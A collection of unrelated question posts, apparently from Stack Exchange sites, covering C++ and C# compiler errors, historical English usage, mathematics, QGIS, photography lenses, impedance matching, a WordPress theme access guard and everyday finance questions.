C++: Cannot synthesize template methods?

Another C++ template issue, and I have no idea where it is coming from. My only guess is that the template constructor is not synthesized? (Even the term synthesized is from my ObjC background, not great with C++)   All I could do is simplify the code as much as I can, while maintaining the error. Now, if I remove the State constructor, the error goes away .. But I need some constructors to work with.  State  template<typename T> class State { public:      State();  };     #include "State.h"   template<typename T> State<T>::State() {}     Match  #include "State.h"  class Match { public:      State<Match> *currentState;      struct States {         static State<Match> Playing;     };  };     #include "Match.h"  State<Match> Match::States::Playing;     Error  Undefined symbols for architecture x86_64:   "State<Match>::State()", referenced from:       ___cxx_global_var_init in Match.o ld: symbol(s) not found for architecture x86_64 clang: error: linker command failed with exit code 1 (use -v to see invocation)


Cannot implicitly convert in async method

The following code doesn't compile, and I fail to understand why  namespace ImplicitConversion {     struct Wrapper<T>     {         public static implicit operator Wrapper<T> (T input)         {             return new Wrapper<T> ();         }     }      interface IFoo     {     }      class Foo:IFoo     {     }      class MainClass     {         public static void Main (string[] args)         {                }          static Wrapper<IFoo> Test ()         {             IFoo foo = new Foo ();             return foo; // Cannot implicitly convert type 'ImplicitConversion.IFoo' to 'ImplicitConversion.Wrapper<ImplicitConversion.IFoo>' (CS0029) (ImplicitConversion)         }     } }   Why can't I use the implicit conversion?


The use of "don't" for "doesn't" in 19th century England

I've noticed the use of "don't" in place of "doesn't" in upper class dialogue in Georgette Heyer's historical romances, which take place around the regency of George IV (1811-1820). For example, the following appeared in Friday's Child (2008):     ‘He don’t keep devilish good company,’ Mr Ringwood said stolidly.   I saw the same construct in The Moonstone (1868) by Wilkie Collins:     "It don't want a word, sir, from you."   While not correct in current usage, it appears that these phrases were correct at the time.  There are plenty of other posts about "don't" vs. "doesn't", but they seem to be about current usage, not historical usage. For example,  refers to the use of "don't" in place of "doesn't" as non-standard English.  I would like to know when and where (and ideally why) "don't" was considered correct in place of "doesn't" and how/when it was supplanted.


Can Ubuntu open and run Microsoft Word files?

Looking at converting from Windows XP to Ubuntu.  Need to know if Ubuntu can open and update Microsoft Word files.


Why are  LinkedList<String>[] list = new LinkedList[32];  StaticError:Bad types in assignment:from raw LinkedList[] to LinkedList<String>[]   And   LinkedList<String>[] list= (LinkedList<String>[]) new LinkedList[32]; StaticError: Bad types in cast: from raw LinkedList[] to LinkedList<String>[]   both compiling but giving me runtime errors about raw types?   I need to create an array of LinkedLists (basically for a hashtable...and it's homework so I can't deviate too much from it). I was planning on handling the collisions by using separate chaining, that is just filling repeated entries in the array with sequential elements in the LinkedList. Any thoughts would be appreciated.


Is there a way to instantiate objects from a string holding their class name?

I have a file: Base.h  class Base; class DerivedA : public Base; class DerivedB : public Base;  /*etc...*/   and another file: BaseFactory.h  #include "Base.h"  class BaseFactory { public:   BaseFactory(const string &sClassName){msClassName = sClassName;};    Base * Create()   {     if(msClassName == "DerivedA")     {       return new DerivedA();     }     else if(msClassName == "DerivedB")     {       return new DerivedB();     }     else if(/*etc...*/)     {       /*etc...*/     }   }; private:   string msClassName; };  /*etc.*/   Is there a way to somehow convert this string to an actual type (class), so that BaseFactory wouldn't have to know all the possible Derived classes, and have if() for each one of them? Can I produce a class from this string?   I think this can be done in C# through Reflection. Is there something similar in C++?


Trigonometric Expression for $1 + \cos \alpha + \cos 2\alpha + \cdots + \cos n \alpha$ using complex numbers

This question is not a duplicate because I am asked here to use the fact that  $1 + \cos \alpha + \cos 2 \alpha + \cdots + \cos n \alpha = Re (1 + z + z^{2} + \cdots + z^{n})$, where the question this is suspected of being a duplicate of does not use this  I am supposed to use the fact that $1 + \cos \alpha + \cos 2 \alpha + \cdots + \cos n \alpha = Re (1 + z + z^{2} + \cdots + z^{n})$, where $z = \cos \alpha + i \sin \alpha$, ro find a trigonometric expression for $1 + \cos \alpha + \cos 2 \alpha + \cdots + \cos n \alpha$.  Now, when $z \neq 1$, we have the geometric sum $\displaystyle 1 + z + z^{2} + \cdots + z^{n} = \frac{1-z^{n+1}}{1-z}$. (When $z = 1$, $1 + z + z^{2} + \cdots + z^{n} = n + 1$, so $Re(1 + z + z^{2} + \cdots + z^{n}) = Re(n+1) = n+1$, finished.)  So, in the case where $z \neq 1$, $\displaystyle 1 + \cos \alpha + \cos 2 \alpha + \cdots + \cos n \alpha = Re(1 + z + z^{2} + \cdots + z^{n}) = Re\left(\frac{1-z^{n+1}}{1-z} \right) = Re \left(\frac{1-(\cos \alpha + i \sin \alpha)^{n+1}}{1-(\cos \alpha + i \sin \alpha)} \right) = Re \left[ \left(\frac{1-(\cos \alpha + i \sin \alpha)^{n+1}}{(1-\cos \alpha) - i \sin \alpha} \right)\cdot \frac{(1-\cos \alpha) + i \sin \alpha}{(1 - \cos \alpha)+ i \sin \alpha}\right] = Re \left( \frac{(1-\cos \alpha)+i\sin \alpha - ( 1- \cos \alpha)(\cos \alpha + i \sin \alpha)^{n+1}-i \sin \alpha (\cos \alpha + i \sin \alpha)^{n+1}}{(1-\cos \alpha)^{2} + \sin^{2} \alpha}\right)$.  Then, to make a long story short, after an application of De Moivre's Theorem to turn the $(\cos \alpha + i \sin \alpha)^{n+1}$'s into $(\cos(n \alpha + \alpha)+ i \sin (n \alpha + \alpha))$'s, usage of the sine and cosine of sum identities, collecting of like terms and cancelling some things, we obtain   $\displaystyle Re \left(\frac{1-(\cos \alpha + i \sin \alpha)^{n+1}}{1-(\cos \alpha + i \sin \alpha)} \right) = Re \left(\frac{(1-\cos \alpha + \cos (n\alpha)) + i(\sin \alpha - \cos (n\alpha)\sin \alpha + \sin (n \alpha))}{2-2\cos \alpha} \right) = \frac{1-\cos \alpha + \cos (n \alpha)}{2-2\cos \alpha}$.  At least I think it does.  Which brings me to my question: is this correct? If not, where did I go wrong and how do I fix it?


How to remove selected elements from a QGIS legend?

I'm working with a QGIS project with a number of layers. When assembling a printout all visible layers are automatically added to the legend:    I would like to exercise some control over the legend elements are remove some of the entries:    However, as the entries correspond to the upper levels in the hierarchy, deleting them will remove the keys:     1 - 20000    20000 - 40000    ...     I'm working in Qgis 2.8. I'm not interested in modifying my layer structure but only in changing the legend elements.


I have read that it is possible to determine the value of a single digit, say the 874th of $\pi$. I know that it is a trascentental number, how is that possible?  How many ways are there to determine the value of $\pi$? What is the simplest?


Is there a way to trade older gen pokemon onto ORAS?

Is there a way for me to obtain my 5th gen pokemon without.. A) Using the Pokebank. B) Trading each pokemon individually with a willing friend?


Why is light produced when an underwater bubble is collapsed with a sound wave?  I have come across this fact on a page () but can't understand "Why". I'm just curious about this interesting fact. And, I want to know what's the currently accepted model for this phenomenon and how good it holds. Any kind of help regarding this topic will be highly appreciated.


Can we validate that the iOS apps on users phones are the same exact apps we submit to Apple?

This is a bit of a security tinfoil-hat question:  Is there any sort of validation (checksum etc...) that our users are receiving the exact iOS apps we submit to Apple?  The thought experiment is: We are making a security iOS app.  Is it possible for Apple to change the apps we make to include backdoors, etc...  How can we validate that when our users download our apps, they are getting the same apps we made, devoid of any changes?  Regardless of the plausibility of this thought experiment, I'm just curious about the technology: Can we validate?


What is the difference between the AF-S 50mm f1.8G and the AF 50mm 1.8D?

I am curious to know what is the difference between an AF-S and AF lens. What makes AF-S more costly than AF? Is there any difference in image quality ?


On the Ask A Question page, the Similar Questions sometimes has a visual bug that the initially displayed content remains in place when scrolling, and the scrolled content is superimposed.  Examples (Firefox 70.0.1 64-bit on Windows 10):     I can't quite nail down the specific conditions that cause this to occur, but it might have something to do with clicking away from the Ask A Question page and then clicking back to it.


Firefox Clear Search Terms When Tab Closed

I am using Firefox (Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.15) Gecko/2009101601 Firefox/3.0.15 (.NET CLR 3.5.30729)). I want to be able to clear the search terms in the search box when I close a tab. I am using Google as my search provider.   Is this possible with Firefox about:config or do I have to write a plugin?


Suppose I have command like cd abc/def, So I want to create own command like 'a'.  If I run 'a' command it ,should run command cd abc/def  optiplex-3020:~$ a   So could it be possible and I want to use python as scripting language


How to tell if a set of vectors spans a space?

I want to know if the set $\{(1, 1, 1), (3, 2, 1), (1, 1, 0), (1, 0, 0)\}$ spans $\mathbb{R}^3$. I know that if it spans $\mathbb{R}^3$, then for any $x, y, z, \in \mathbb{R}$, there exist $c_1, c_2, c_3, c_4$ such that $(x, y, z) = c_1(1, 1, 1) + c_2(3, 2, 1) + c_3(1, 1, 0) + c_4(1, 0, 0)$.  I've looked around the internet, but all the answers I found involve setting up a matrix and finding the determinant, and I can't do that here because my matrix isn't square. What am I missing here?


this theory say's mass convert into energy and energy convert in to mass  Whats he example of energy convert into mass?


What is the difference between 32 bit and 64 bit launchers of Transistor?

I see there are two types of launchers for Transistor: 32 and 64 bit. Is there any difference between them?  Most games are 32 bit and you don't have to ask yourself whether it will launch on your low-end notebook or a cheap computer that only supports 32-bit OS, and as a result is not capable of running 64-bit games, even if you decide to install a 64-bit OS (which you can't because of hardware restrictions).  The most important limitation of 32-bit applications is the memory they can use (about 4GB max). Does Transistor even use that much memory? Does using 64-bit launcher allow to allocate more resources in memory for faster loading times?  Let's say we're only talking about 64-bit OS systems. Will 64-bit launcher bring a different experience from 32-bit one?


Prove that these two fields are isomorphic.

I want to prove that $\bar{K}[V]/M_p \simeq \bar{K}$ where $K$ is a field, $\bar{K}$ is its algebraic closure and   $$\bar{K}[V]=\bar{K}[x_1,...,x_n]/I_V,$$   where $I_V$ is the ideal attached to a variety, so it is prime.    Now, on the other hand:  $$M_p=\{f \in \bar{K}[V] : f(p)=0\}.$$  So we have to find a bijective function from this two fields (may be there are better ways to do this, but I am not quite sure if in field theory we can find that machinery), but my intuition says that in $\bar{K}[V]/M_p$ we don't have any vanishing polynomial at $V$ so I can't figure out how to find this bijection.  Can someone help me with this problem?  Thanks a lot in advance.


How can I search for special characters?

Situation: It started out as me  for the literal string C-c in  but it ended up omitting the - sign and showing results which contained the strings C/C++ and C & C++.  is an example of a post which contains that string of characters (yet fails to show up in the results).  Things I've tried:   post suggests that I can use the undocumented code: operator, but when I do that, it just wraps the whole term in double quotes like .  As @terdon in Unix & Linux chat has , using this  does yield some relevant results, but it doesn't show me  that is supposed to be there. edit: It appears that the Symbolhound query no longer returns that result.  Finally,  says that you can search for literal characters, but as you can see:    Quoted phrases are exact matches except for case-sensitivity, for example, you can search  or .  The second example (symbols) leads to 0 results.  So by now I assume that the search engine has changed (but the old documentation still lingers on this site). Is there a method for me to search for strings that include special (or is it literal?) characters?


Axiom of Regularity allows for this set be an element of itself

I'm new to set theory, and the axiom of regularity has been giving me some trouble. It states that every non-empty set A has an element B such that A and B are disjoint sets. Apparently, this axiom implies that a set can't be an element of itself. I've heard (and agree with) arguments like this:  Let A be a set, and apply the axiom of regularity to {A}, which is a set by the axiom of pairing. We see that there must be an element of {A} which is disjoint from {A}. Since the only element of {A} is A, it must be that A is disjoint from {A}. So, since A ∈ {A}, we cannot have A ∈ A (by the definition of disjoint).  However, let's say there's a set A = {{1, 2}, A}. It seems like this set obeys the axiom of regularity, because {1, 2} is an element of A, and {1,2} and A are disjoint sets. However, the axiom of regularity shouldn't allow A to be an element of itself. I suppose there's a flaw in my logic somewhere, and I'm hoping someone knowledgeable can show me why this isn't allowed.


How does Edo Tensei Madara get back his Rinnegan?

Madara gave his Rinnegan to Nagato. But after Kabuto brings him back using Edo Tensei, he still has the Rinnegan. How is this possible?


Who was part of the Galactic Senate during Star Wars: Episode I The Phantom Menace?

Who was in the Senate during The Phantom Menace?


My locations on my google timeline are showing places i never been,and now my bf thinks im cheating

My bf went on my locations timeline and its showing I been to places when I never left the house and it says i drove this long and how long it took and shows a map of the streets I took but I never left the house and they are all in different cities. How is this possible also my ex and I had our emails hooked up so I thought that could be a reason but then seeing it was my house as the start location or the end kocationt I was so confused because once again I never left the house to go anywhere. Someone please help Im sick and tired of telling him I went nowhere.


0 down vote favorite  I needed some basic advice about impedance matching. I have an RF amplifier with 50 ohm output impedance, capable of generating 400W output power at 500kHz. I am trying to deliver this to a 12 ohm load.  I looked online and figured out that I need to match the impedance of the amplifier to the load. My question is what is the best way to achieve this? Would it be possible to simply use a capacitor and inductor and put an L section to the output of the amplifier? I saw that online stores have very cheap capacitor and inductors that is rated for very high voltages.  If that is not going to work is it possible to buy any transformers that would do that? For instance I saw that there are many cheap 220v-110v voltage converters, which should have 2:1 coil ratio. So in theory that should convert 50 ohm to 12.5 ohm and matches to my load. Will these work at 500 kHz as required for my application? Or are there other type of transformers that I can use for this purpose (there are many many types of transformers and I got confused which ones are suitable for impedance matching)?  Thanks a lot for the help.


Worthwhile to restrict direct access of theme files?

I've run across the following snippet in themes from time to time:  if ( ! defined('ABSPATH')) exit('restricted access');   It's at the beginning of some (all?) PHP files in a theme and it's supposed to prevent direct access of the file by nefarious sources.  I see that this isn't included in Twenty Ten or Eleven and I've never seen it recommended in official WordPress documentation. It seems like a good idea to me, but I also don't know enough about security to judge it and can't find much with Google.  Is this something I should have in my custom themes? If so, should it be in all PHP files or just some?


I'm newbie in Python, so... I have this code:  def main():      Obj1 = classA()     Obj1.set_p1()     Obj2 = classA()     Obj1.del_p1()     Obj3 = classA()     classA.list.append(9)      print(Obj1.list, Obj2.list, Obj3.list, classA.list)  class classA():      list = []     def set_p1(self):         self.list.append(6)      def del_p1(self):         self.list = []  if __name__ == '__main__':     main()   and I have this out: ([], [6, 9], [6, 9], [6, 9])  So I'cant get this: why Obj1.set_p1() change classA.list, but Obj1.del_p1() didn't do the same. Why classA.list.append(9) didn't do anything with Obj1.list?


Is it safe to give out one's bank account number?

I'm managing the utility of the house and I'm sharing with another person. He asks me to provide my bank account number, so that he can transfer his money to my account when paying the utility.    I wonder if it is safe to give out my bank account number?   For example, if I'm correct, many online payments just need the account number to draw money out of it. Is giving out the bank account number safer than handing a check to another person, since there is also the account number printed on the check?